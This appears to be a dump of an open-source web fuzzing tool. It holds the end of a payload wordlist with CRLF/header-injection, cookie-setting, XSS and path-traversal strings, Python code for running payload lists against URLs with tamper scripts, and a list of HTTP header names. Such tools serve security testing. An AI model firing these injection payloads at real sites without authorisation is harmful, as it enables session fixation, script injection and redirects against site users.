202 | \n\rINJECTX\n\r
203 | \n\rINJECTX\n\r\n\r
204 | \r\n
205 | %0dSet-Cookie: INJECTX=INJECTX
206 | %0aSet-Cookie: INJECTX=INJECTX
207 | %0d%0a%20Set-Cookie: INJECTX=INJECTX
208 | %0aSet-Cookie: INJECTX=INJECTX%0aX:INJECTX
209 | %0dSet-Cookie: INJECTX=INJECTX%0aX:INJECTX
210 | %0d%0aSet-Cookie: INJECTX=x%0aX:INJECTX
211 | %0d%0a%20Set-Cookie: x=x%0aX:INJECTX
212 | %E5%98%8A%E5%98%8DSet-Cookie: INJECTX=INJECTX
213 | //www.xerosecurity.com/%2E%2E%0aSet-Cookie: INJECTX=INJECTX
214 | //www.xerosecurity.com/%2E%2E%0d%0a%20Set-Cookie: INJECTX=INJECTX
215 | //www.xerosecurity.com/%2E%2E%0dSet-Cookie: INJECTX=INJECTX
216 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++set-Cookie: INJECTXXXXXXXXXX;
217 | INJECTX%0aSet-Cookie%3AINJECT%3DINJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3B%0aLocation%3Ahttp%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%0a%0a
218 | INJECTX%0aSet-Cookie: INJECT=INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX;
219 | INJECTX%0d%0aSet-Cookie%3AINJECT%3DINJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%3B%0d%0aLocation%3Ahttp%3A%2F%2Fxerosecurity.com%2F.testing%2Fiframe_injection.php%0d%0d%0a%0a
220 | INJECTX%0dXTest%3AINJECTX
221 | %E5%98%8A%E5%98%8DSet-Cookie: %20INJECTX
222 | %E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%29%E5%98%BE
223 | /test/%2e%2e/tr
224 | //////www.xerosecurity.com/%2e%2e/tr
225 | %2fwww.xerosecurity.com%2f%2e%2e/tr
226 | /%0aSet-Cookie: INJECTX%0aX:/%2e%2e/tr
227 | %2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(INJECTX)%3c/script%3e%2F..%2F..%2F..%2F../
228 | <h1\>INJECTX</h1\>
229 | foo%00%0d%0abar
230 | foo%250d%250abar
231 | foo%%0d0d%%0a0abar
232 | %0dSet-Cookie: INJECTX=INJECTX
233 | %0aSet-Cookie: INJECTX=INJECTX
234 | %0d%0a%20Set-Cookie: INJECTX=INJECTX
235 | %0aSet-Cookie: INJECTX=INJECTX%0aX:INJECTX
236 | %0dSet-Cookie: INJECTX=INJECTX%0aX:INJECTX
237 | %0d%0aSet-Cookie: INJECTX=x%0aX:INJECTX
238 | %0d%0a%20Set-Cookie: x=x%0aX:INJECTX
239 | %E5%98%8A%E5%98%8DSet-Cookie: INJECTX=INJECTX
240 | //www.xerosecurity.com/%2E%2E%0aSet-Cookie: x=INJECTX
241 | //www.xerosecurity.com/%2E%2E%0d%0a%20Set-Cookie: x=INJECTX
242 | //www.xerosecurity.com/%2E%2E%0dSet-Cookie: x=INJECTX
243 | INJECTX'"<>/%2e%2e
244 | INJECTX'"<>/%2e%2e/
245 | INJECTX'"<>
246 | INJECTX%27%22%3c%3e%2e%2e
247 | INJECTX%27%22%3c%3e%2e%2e/
248 | INJECTX/%2e%2e
249 | INJECTX/%2e%2e/
250 | %2e%2e/INJECTX/
251 | %2e%2e/INJECTX
252 | 


--------------------------------------------------------------------------------
/sources/sup.py:
--------------------------------------------------------------------------------
  1 | 
  2 | 
  3 | import argparse
  4 | import os
  5 | import re
  6 | import requests
  7 | from datetime import datetime
  8 | import random 
  9 | import signal
 10 | import sys
 11 | 
 12 | from .printing import print, log, Strings
 13 | from .http import Requests, Request, Empty_response, Raw_Request
 14 | from .intruder import Intruder
 15 | 
 16 | class Arguments():
 17 | 
 18 |     def get_arguments(self):
 19 |         """
 20 |         Get arguments from command line.
 21 |         """
 22 |         parser = argparse.ArgumentParser(description='~~~~~~~~~~ WASSUP Website ?? ~~~~~~~~~~')
 23 |         # Fuzzing stuff
 24 |         parser.add_argument('-u', "--url", help='Url to test',)
 25 |         parser.add_argument('-r', "--raw-request", help='Raw request prepared with the placeholder',)
 26 |         parser.add_argument("-d", "--data", default=None, help="Add POST data")
 27 |         parser.add_argument("-H", "--headers", default=None, action="append", help="Add extra Headers (syntax: -H \"test: test\" -H \"test2: test3\")")
 28 |         parser.add_argument("-S", "--placeholder", default="§")
 29 |         parser.add_argument("--force-ssl", default=False, help="Force https when using raw-request", action="store_true")
 30 |         parser.add_argument("-ur", "--url-raw", default=None, help="Force usage of a specific URL to make the raw request. Default: Using the Host header")
 31 |         parser.add_argument("--fuzz-recursive", action="store_true", default=False, help="Fuzz recursively by appending positive results to 'prefix' or 'suffix' and starting over (useful when doing timebased things/boolean based things)")
 32 |         parser.add_argument("--fuzz-recursive-position", default="prefix", choices=["prefix","suffix"], help="Select the position where the matching payload will be appended")
 33 |         parser.add_argument("--fuzz-recursive-separator", default="", help="Set a character/string beteen positive recursive matches")
 34 | 
 35 |         # tool settings
 36 |         parser.add_argument("--shuffle", help="Shuffle the payload list", default=False, action="store_true")
 37 |         parser.add_argument('-v', '--verbosity', action='count', default=1, help='verbosity level (3 levels available)')
 38 |         parser.add_argument('-t', '--threads', type=int, default=10, help='number of threads to use, default 10')
 39 |         parser.add_argument("--throttle", help="throttle between the requests, default 0.0", default=0, type=int)
 40 |         parser.add_argument('-re', "--allow-redirects", default=False, action="store_true", help='Allow HTTP redirects')
 41 |         parser.add_argument('-P', "--distant-payload", default=None, help="use an online wordlist instead of a local one (do not use if your internet connection is shit, or the wordlist weight is like To)")
 42 |         parser.add_argument("-R", "--regex-payload", help="use a regex to create your payload list", default=None)
 43 |         parser.add_argument('-p', "--payload", help='payload file',default=None)
 44 |         parser.add_argument("--prefix", help='Prefix for all elements of the wordlist',default=str())
 45 |         parser.add_argument("--suffix", help='Suffix for all elements of the wordlist',default=str())
 46 |         parser.add_argument("--offset", help='Offset to start from in the wordlist',default=0, type=int)
 47 |         parser.add_argument("--timeout", default=20, type=int)
 48 |         parser.add_argument("--retry", default=False, action="store_true")
 49 |         parser.add_argument("--verify-ssl", default=False, action="store_true")
 50 |         parser.add_argument("-X", "--method", default="GET", help="HTTP method to use")
 51 |         parser.add_argument("-f", "--filter", help="Filter positives match with httpcode,to exclude one, prefix \"n\", examples: -f n204 -f n403", action="append", default=[])
 52 |         parser.add_argument("-T", "--tamper",help="Use tamper scripts located in the tamper directory (you can make your own), ou can also chain them (processed in the order)", default=[], action="append")
 53 |         parser.add_argument("-ut", "--untamper",help="Unprocess tampered payload to see what is the real payload unprocessed", default=False, action="store_true")
 54 |         parser.add_argument("-tf", "--time-filter",help='Specify the time range that we\'ll use to accept responses (format: >3000 or <3000 or =3000 or >=3000 or <=3000', action="append", default=[])
 55 | 
 56 |         parser.add_argument("-lf", "--length-filter",help='Specify the length range that we\'ll use to accept responses (format: >3000 or <3000 or =3000 or >=3000 or <=3000', action="append", default=[])
 57 |         parser.add_argument("-mr", "--match-regex",help='Find a specific regex in the response', type=str, default=str())
 58 |         
 59 |         # base request stuff
 60 |         parser.add_argument("-B", "--use-base-request", help="Use the strategy to compare responses agains a base request to reduce noise",action="store_true", default=False)
 61 |         parser.add_argument('-b', "--base-payload",help="Payload for base request", default="Fuzzing")
 62 |         parser.add_argument("--ignore-base-request", default=False, action="store_true", help="Force testing even if base request failed")
 63 |         parser.add_argument("-timed", "--time-difference", default=2, type=int, help="Define a time difference where base_request will not be equal to the current_request, ie base request took 1 second and current took 2 seconds, they are different until time_different>=1")
 64 |         parser.add_argument("-textd", "--text-difference-ratio", default=0.98, type=float, help="Define a text difference where base_request.text will not be equal to the current_request.text, ie base_request matches current_request at 98%%, they are different until time_different>=0.98")
 65 |         parser.add_argument("--ratio-type", default="quick", help="Use a quick ratio of a normal one, quick is faster, normal is for very short pages")
 66 |         parser.add_argument("-m", '--match-base-request',action="store_true", default=False, help="Match the base request to find pages identical to your base payload")
 67 |         parser.add_argument('-mh', "--match-headers",help="Extends the match algorithm to the headers", default=False, action="store_true")
 68 |         parser.add_argument('-eh', "--exclude-headers",help="Exclude a header while extending the match algorithm to the headers", default=[], action="append")
 69 | 
 70 | 
 71 |         # parser.add_argument('-o', '--dumpHtml', help='file to dump html content')
 72 |         # parser.add_argument("-q", "--quiet", help="tell the program to output only the results",
 73 |         #                     default=False, action="store_true")
 74 |         self.args = parser.parse_args()
 75 |         return self.validate_arguments()
 76 | 
 77 |     def validate_arguments(self,):
 78 |         """
 79 |         Validate arguments.
 80 |         """
 81 |         if self.args.url is None and self.args.raw_request is None:
 82 |             log("[!] You must specify a url to test (-u) or a request file (-r) !", type="fatal")
 83 |             exit(1)
 84 | 
 85 |         if self.args.payload is None and self.args.regex_payload is None and self.args.distant_payload is None:
 86 |             log("[!] You must specify a payload file (-p) or a regex (-R) or a distant payload (-P) !", type="fatal")
 87 |             exit(1)
 88 |         self.tampers = None
 89 |         if len(self.args.tamper) > 0:
 90 |             self.tampers = []
 91 |             for tamper in self.args.tamper:
 92 |                 loaded = self.load_tamper(tamper)
 93 |                 self.tampers.append(loaded)
 94 |                 self.check_tamper(loaded)
 95 |             
 96 |         if self.args.raw_request is not None:
 97 |             try:
 98 |                 with open(self.args.raw_request) as f:
 99 |                     self.args.raw_request = f.read()
100 |             except Exception as e:
101 |                 log(f"Failed to open the raw request file !", type="critical")
102 |                 exit(1)
103 |         
104 |         if len(
105 |             set(filter(None, [
106 |                 self.args.url,
107 |                 self.args.raw_request
108 |             ])
109 |             )
110 |         ) > 1:
111 |             log("You've specified more that one method to make requests, that's dump :/ -u OR -r!", type="critical")
112 |             exit(1)
113 |         
114 |         if len(
115 |             set(filter(None, [
116 |                 self.args.regex_payload,
117 |                 self.args.distant_payload,
118 |                 self.args.payload
119 |             ])
120 |             )
121 |         ) > 1:
122 |             log("You've specified more that one method to define payloads, that's dump :/ -p OR -R OR -P!", type="critical")
123 |             exit(1)
124 |     
125 |         self.load_headers()
126 |         return self.args
127 |     
128 |     def find_place(self):
129 |         """
130 |         Find the place where to put the payload.
131 |         """
132 |         self.place = list()
133 |         if self.args.data is not None and self.args.placeholder in self.args.data:
134 |             self.place.append("data")
135 |         if self.args.url is not None and self.args.placeholder in self.args.url or\
136 |              self.args.url_raw is not None and self.args.placeholder in self.args.url_raw:
137 |             self.place.append("url")
138 |         if self.args.placeholder in "".join([k+v for k,v in self.args.headers.items()]):
139 |             self.place.append("headers")
140 |         if self.args.raw_request is not None and self.args.placeholder in self.args.raw_request:
141 |             # defined later when parsing
142 |             self.place.append("raw")
143 |         
144 |         if len(self.place) == 0:
145 |             log(f"You mush specify the placeholder \"{self.args.placeholder}\" where you're trying to fuzz !", type="critical")
146 |             exit(1)
147 |  
148 |     def load_tamper(self, module):
149 |         module_path = f"tampers.{module}"
150 | 
151 |         if module_path in sys.modules:
152 |             return sys.modules[module_path]
153 |         try:
154 |             load = __import__(module_path, fromlist=[module])
155 |         except ModuleNotFoundError:
156 |             log(f"Could not find the module \"{module}\" !", type="fatal")
157 |             log(f"Here is the list of available modules: {', '.join([x[:-3] for x in os.listdir('tampers/') if x.endswith('.py')])}", type="debug")
158 |             exit(1)
159 |         except Exception as e:
160 |             log(f"Failed to load the module {module}, please make sure you've put it in the tampers directory", type="critical")
161 |             log(f"Here is your stacktrace: {e}", type="debug")
162 |             exit(1)
163 |         else:
164 |             return load
165 |     
166 |     def load_headers(self,):
167 |         """
168 |         Load headers from the file.
169 |         """
170 |         headers_temp = dict()
171 |         if self.args.headers is not None:
172 |             for header in self.args.headers:
173 |                 if ":" in header:
174 |                     key, value = header.split(": ")
175 |                     headers_temp[key] = value
176 |                 else:
177 |                     headers_temp[header] = str()
178 |         self.args.headers = headers_temp
179 |     
180 |     def check_tamper(self, tamper):
181 |         try:
182 |             dummyCheck = tamper.process("Th1s Is @ Nice DummyCheck …")
183 |             log(f"[*] Dummy check for the tamper module loaded: \"Th1s Is @ Nice DummyCheck …\" -> \"{dummyCheck}\"", type="debug")
184 |             if isinstance(dummyCheck, bytes):
185 |                 log(f"Your tamper script should only return string and not bytes ! can't continue...", type="error")
186 |                 exit(1)
187 |         except Exception as e:
188 |             log(f"An exception occured in your tamper script !", type="critical")
189 |             log(f"Hint: Can you find the 'process' function in your tamper script ?\n Stack trace: {e}", type="debug")
190 |             exit(1)
191 | 
192 | class Wordlist():
193 |     def __init__(self, 
194 |                     mode, 
195 |                     link=None, 
196 |                     tampers=None, 
197 |                     shuffle=False, 
198 |                     offset=0, 
199 |                     prefix="", 
200 |                     suffix="",
201 |                     fallback=None):
202 |         self.mode = mode
203 |         self.link = link
204 |         self.tampers = tampers
205 |         self.shuffle = shuffle
206 |         self.offset = offset
207 |         self.prefix = prefix
208 |         self.suffix = suffix
209 |         self.payload_list = list()
210 |     
211 |     def gen_wordlist_iterator(self, recursive_prefix=[], recursive_suffix=[], recursive_separator=""):
212 |         for payload in self.payload_list:
213 |             yield payload, self.apply_tamper(f"{self.prefix}{recursive_separator.join(recursive_prefix)}{recursive_separator}{payload}{recursive_separator}{recursive_separator.join(recursive_suffix)}{self.suffix}")
214 |     
215 |     def get_distant_payload(self):
216 |         try:
217 |             log(f"Fetching wordlist ... ", type="info")
218 |             content = requests.get(self.link).text
219 |             self.payload_list = content.splitlines()[self.offset:]
220 |         except Exception as e:
221 |             log(f"Could not find the distant payload: {e}", type="fatal")
222 |             exit(1)
223 |     
224 |     def get_local_payload(self):
225 |         if not os.path.exists(self.link):
226 |                 log("[!] Payload file doesn't exist", type="fatal")
227 |                 exit(1)
228 |         with open(self.link, "r") as f:
229 |             self.payload_list = f.read().splitlines()[self.offset:]
230 |         
231 |     def apply_tamper(self, payload):
232 |         if self.tampers is None or len(self.tampers) < 0:
233 |             return payload
234 |         tempo = payload
235 |         for tamper in self.tampers:
236 |             try:
237 |                 tempo = tamper.process(tempo)
238 |                 if isinstance(tempo, bytes):
239 |                     log(f"Your tamper script should only return string and not bytes ! can't continue...", type="critical")
240 |                     log(f"It translates {payload} to -> {tempo}", type="debug")
241 |                     exit(1)
242 |             except Exception as e:
243 |                 log(f"An exception occured in your tamper script ! Below is the stack trace of your script.", type="critical")
244 |                 log(f"Error: {e}", type="debug")
245 |                 exit(1)
246 |         return tempo
247 |     
248 |     def unapply_tamper(self, payload):
249 |         tempo = payload
250 |         for tamper in self.tampers[::-1]:
251 |             try:
252 |                 if not "unprocess" in dir(tamper):
253 |                     log(f"To use untamper functionnality, you need a function 'unprocess' in your tamper script !", type="fatal")
254 |                     exit(1)
255 |                 tempo = tamper.unprocess(tempo)
256 |                 if isinstance(tempo, bytes):
257 |                     log(f"Your tamper script should only return string and not bytes ! can't continue...", type="critical")
258 |                     log(f"It translates {payload} to -> {tempo}", type="debug")
259 |                     exit(1)
260 |                 
261 |             except Exception as e:
262 |                 log(f"An exception occured in your tamper script \"{tamper}\"! Below is the stack trace of your script.", type="critical")
263 |                 log(f"Error: {e}", type="debug")
264 |                 exit(1)
265 |         return tempo
266 |     
267 |     def shuffle_payloads(self):
268 |         log("[*] Shuffling payloads", type="info")
269 |         self.payload_list = self.payload_list
270 |         random.Random(1337).shuffle(self.payload_list)
271 |     
272 |     def gen_regex_payload(self):
273 |         try:
274 |             import exrex
275 |         except:
276 |             log(f'Missing dependency "exrex"! if you want to use the regex payload generation, you have to use this command first: "pip3 install exrex"', type="fatal")
277 |             exit(1)
278 |         try:
279 |             re.compile(self.link)
280 |         except:
281 |             log(f"Bad regex !! please check that your regex is correct !", type="fatal")
282 |             exit(1)
283 |         log(f"[*] Generating the payload list based on your regex", type="info")
284 | 
285 |         self.payload_list = list(exrex.generate(self.link))[self.offset:]
286 | 
287 |     def load_wordlist(self):
288 |         if self.mode == "local_payload":
289 |             self.get_local_payload()
290 |         
291 |         elif self.mode == "distant_payload":
292 |             self.get_distant_payload()
293 |         
294 |         elif self.mode == "regex_payload":
295 |             self.gen_regex_payload()
296 |         
297 |         if self.shuffle:
298 |             self.shuffle_payloads()
299 |         
300 |         self.max_len_payload = len(max(self.payload_list, key=len))
301 | 
302 | class Fuzzer():
303 | 
304 |     def __init__(self, args):
305 |         self.arguments_object = args
306 |         self.args = self.arguments_object.get_arguments()
307 |         self.arguments_object.find_place()
308 |         self.start_date = datetime.now()
309 |         self.load_request()
310 |     
311 |     def load_request(self,):
312 |         if self.args.url is not None:
313 |             self.requests = Requests(
314 |                     method=self.args.method, 
315 |                     timeout=self.args.timeout, 
316 |                     throttle=self.args.throttle, 
317 |                     allow_redirects=self.args.allow_redirects, 
318 |                     verify_ssl=self.args.verify_ssl, 
319 |                     retry=self.args.retry,
320 |                     headers=self.args.headers)
321 |         elif self.args.raw_request is not None:
322 |             
323 |             raw_request_parsed = Raw_Request(self.args.raw_request, self.args.url_raw, self.args.force_ssl)
324 |             raw_request_parsed.parse_raw_request()
325 |             raw_request_parsed.build_url()
326 |             method, url, headers, data = \
327 |                  raw_request_parsed.method, raw_request_parsed.url, raw_request_parsed.headers, raw_request_parsed.data
328 |             
329 |             self.args.method = method
330 |             self.args.url = url
331 |             self.args.headers.update(headers)
332 |             self.args.data = data if not self.args.data else self.args.data
333 | 
334 |             self.requests = Requests(
335 |                     method=self.args.method, 
336 |                     timeout=self.args.timeout, 
337 |                     throttle=self.args.throttle, 
338 |                     allow_redirects=self.args.allow_redirects, 
339 |                     verify_ssl=self.args.verify_ssl, 
340 |                     retry=self.args.retry,
341 |                     headers={k: v for k,v in self.args.headers.items() if not self.args.placeholder in v and not self.args.placeholder in k})
342 | 
343 |     def gen_wordlist(self):
344 |         if self.args.payload is not None:
345 |             mode = "local_payload"
346 |             link = self.args.payload
347 |         elif self.args.distant_payload is not None:
348 |             mode = "distant_payload"
349 |             link = self.args.distant_payload
350 |         elif self.args.regex_payload is not None:
351 |             mode = "regex_payload"
352 |             link = self.args.regex_payload
353 |         else:
354 |             mode = None
355 |             link = None
356 | 
357 |         self.wordlist = Wordlist(mode=mode, 
358 |                                 link=link, 
359 |                                 tampers=self.arguments_object.tampers, 
360 |                                 shuffle=self.args.shuffle, 
361 |                                 offset=self.args.offset, 
362 |                                 prefix=self.args.prefix, 
363 |                                 suffix=self.args.suffix)
364 |         self.wordlist.load_wordlist()
365 |         self.print(2, Strings.wordlist_loaded.format(payload_len=len(self.wordlist.payload_list)), color="green")
366 | 
367 |     def prepare(self):
368 |         self.print(2, Strings.banner, color="yellow")
369 |         self.gen_wordlist()
370 |         self.intruder = Intruder(self.args, self.arguments_object.place, self.wordlist)
371 |         if self.args.use_base_request:
372 |             log(f"[+] Requesting base request", type="info")
373 |             self.intruder.do_base_request()
374 |             if self.intruder.base_request is None:
375 |                 log(f"Base request failed !", type="critical")
376 |                 if not self.args.ignore_base_request:
377 |                     log(f"To ignore this and continue, append flag --ignore-base-request", type="debug")
378 |                     exit(1)  
379 |                 log(f"Ignoring base request failed (the base request is not useless)", type="warning")
380 |                 self.intruder.base_request = Empty_response()
381 |             if len(self.intruder.base_request.text) > 100:
382 |                 base_request_text_top = self.intruder.base_request.text[:50]
383 |                 base_request_text_bottom = self.intruder.base_request.text[-50:]
384 |             else:
385 |                 base_request_text_top = self.intruder.base_request.text
386 |                 base_request_text_bottom = ""
387 | 
388 | 
389 |             self.print(2, Strings.base_request_details.format(
390 |                 status=self.intruder.base_request.status_code,
391 |                 content_len=len(self.intruder.base_request.text),
392 |                 total_seconds=self.intruder.base_request.elapsed.total_seconds(),
393 |                 text_top=base_request_text_top,
394 |                 text_bottom=base_request_text_bottom),
395 |                 color=self.intruder.requests.color_status_code(self.intruder.base_request)
396 |             )
397 |     
398 |     def run(self):
399 |         @staticmethod
400 |         def signal_handler(sig, frame):
401 |             log(f"Caught ctrl+c, stopping...", type="warning")            
402 |             exit(1)
403 |         signal.signal(signal.SIGINT, signal_handler)
404 | 
405 |         self.print(2, Strings.results_header, color="white")
406 |         responses = self.intruder.start_requests()
407 |         for status, response, parameter, full_payload, extracted in responses:
408 |             parameter_print = full_payload
409 |             if self.args.untamper:
410 |                 parameter_print = self.wordlist.unapply_tamper(full_payload)
411 |             if status:
412 |                 if response is None:
413 |                     response = Empty_response()
414 |                 self.print(1, Strings.results.format(
415 |                     time=datetime.now().strftime("%H:%M:%S"),
416 |                     payload_index=f"{self.wordlist.payload_list.index(parameter)}",
417 |                     payload_len=len(self.wordlist.payload_list),
418 |                     status=response.status_code,
419 |                     length=len(response.text),
420 |                     response_time=f"{response.elapsed.total_seconds():.6f}",
421 |                     payload=parameter_print,
422 |                     extracted=extracted) + f"{' '*(os.get_terminal_size()[1]-len(full_payload))}",
423 |                     color=self.intruder.requests.color_status_code(response),
424 |                     )
425 |                 continue
426 |             self.print(2, Strings.results.format(
427 |                     time=datetime.now().strftime("%H:%M:%S"),
428 |                     payload_index=f"{self.wordlist.payload_list.index(parameter)}",
429 |                     payload_len=len(self.wordlist.payload_list),
430 |                     status=response.status_code,
431 |                     length=len(response.text),
432 |                     response_time=f"{response.elapsed.total_seconds():.6f}",
433 |                     payload=parameter_print,
434 |                     extracted=extracted),
435 |                         color=self.intruder.requests.color_status_code(response), end=f"{' '*(os.get_terminal_size()[1]-3)}\r")
436 |     
437 |     def print(self, verbosity=0, *args, **kwargs):
438 |         if (self.args.verbosity - 1) >= verbosity or self.args.verbosity == 1 :
439 |             print(*args, **kwargs)
440 | 
441 | def main():
442 |     args = Arguments()
443 |     fuzzer = Fuzzer(args)
444 |     fuzzer.prepare()
445 |     fuzzer.run()
446 | 
447 |     


--------------------------------------------------------------------------------
/database/headers:
--------------------------------------------------------------------------------
   1 | x-amzn-remapped-host
   2 | x-amz-website-redirect-location
   3 | x-up-devcap-post-charset
   4 | Accept
   5 | Accept-Charset
   6 | Accept-Encoding
   7 | Accept-Language
   8 | Accept-Ranges
   9 | Access-Control-Allow-Credentials
  10 | Access-Control-Allow-Headers
  11 | Access-Control-Allow-Methods
  12 | Access-Control-Allow-Origin
  13 | Access-Control-Expose-Headers
  14 | Access-Control-Max-Age
  15 | Access-Control-Request-Headers
  16 | Access-Control-Request-Method
  17 | Age
  18 | Allow
  19 | Authorization
  20 | Cache-Control
  21 | Connection
  22 | Contact
  23 | Content-Disposition
  24 | Content-Encoding
  25 | Content-Language
  26 | Content-Length
  27 | Content-Location
  28 | Content-Range
  29 | Content-Security-Policy
  30 | Content-Security-Policy-Report-Only
  31 | Content-Type
  32 | Cookie
  33 | Cookie2
  34 | DNT
  35 | Date
  36 | Destination
  37 | ETag
  38 | Expect
  39 | Expires
  40 | Forwarded
  41 | From
  42 | Host
  43 | If-Match
  44 | If-Modified-Since
  45 | If-None-Match
  46 | If-Range
  47 | If-Unmodified-Since
  48 | Keep-Alive
  49 | Large-Allocation
  50 | Last-Modified
  51 | Location
  52 | Origin
  53 | Pragma
  54 | Profile
  55 | Proxy-Authenticate
  56 | Proxy-Authorization
  57 | Public-Key-Pins
  58 | Public-Key-Pins-Report-Only
  59 | Range
  60 | Referer
  61 | Referrer-Policy
  62 | Report-To
  63 | Retry-After
  64 | Server
  65 | Set-Cookie
  66 | Set-Cookie2
  67 | SourceMap
  68 | Strict-Transport-Security
  69 | TE
  70 | Timing-Allow-Origin
  71 | Tk
  72 | Trailer
  73 | Transfer-Encoding
  74 | Upgrade-Insecure-Requests
  75 | User-Agent
  76 | Vary
  77 | Via
  78 | WWW-Authenticate
  79 | Warning
  80 | X-Content-Type-Options
  81 | X-DNS-Prefetch-Control
  82 | X-Forwarded-For
  83 | X-Forwarded-Host
  84 | X-Forwarded-Proto
  85 | X-Forwarded-Port
  86 | Front-End-Https
  87 | X-Forwarded-Protocol
  88 | X-Forwarded-Ssl 
  89 | X-Url-Scheme
  90 | X-Cluster-Client-IP
  91 | X-Forwarded-Server
  92 | Proxy-Host
  93 | X-Wap-Profile
  94 | X-Original-URL
  95 | X-Rewrite-URL
  96 | X-HTTP-DestinationURL
  97 | Proxy-Connection
  98 | X-UIDH
  99 | True-Client-IP
 100 | Request-URI
 101 | ORIG_PATH_INFO
 102 | Client-IP
 103 | X-Real-IP
 104 | X-Originating-IP
 105 | Cf-Ipcountry
 106 | Cf-Visitor
 107 | Remote-UserHTTPS
 108 | SERVER-SOFTWARE
 109 | WEB-SERVER-API
 110 | REMOTE-ADDR
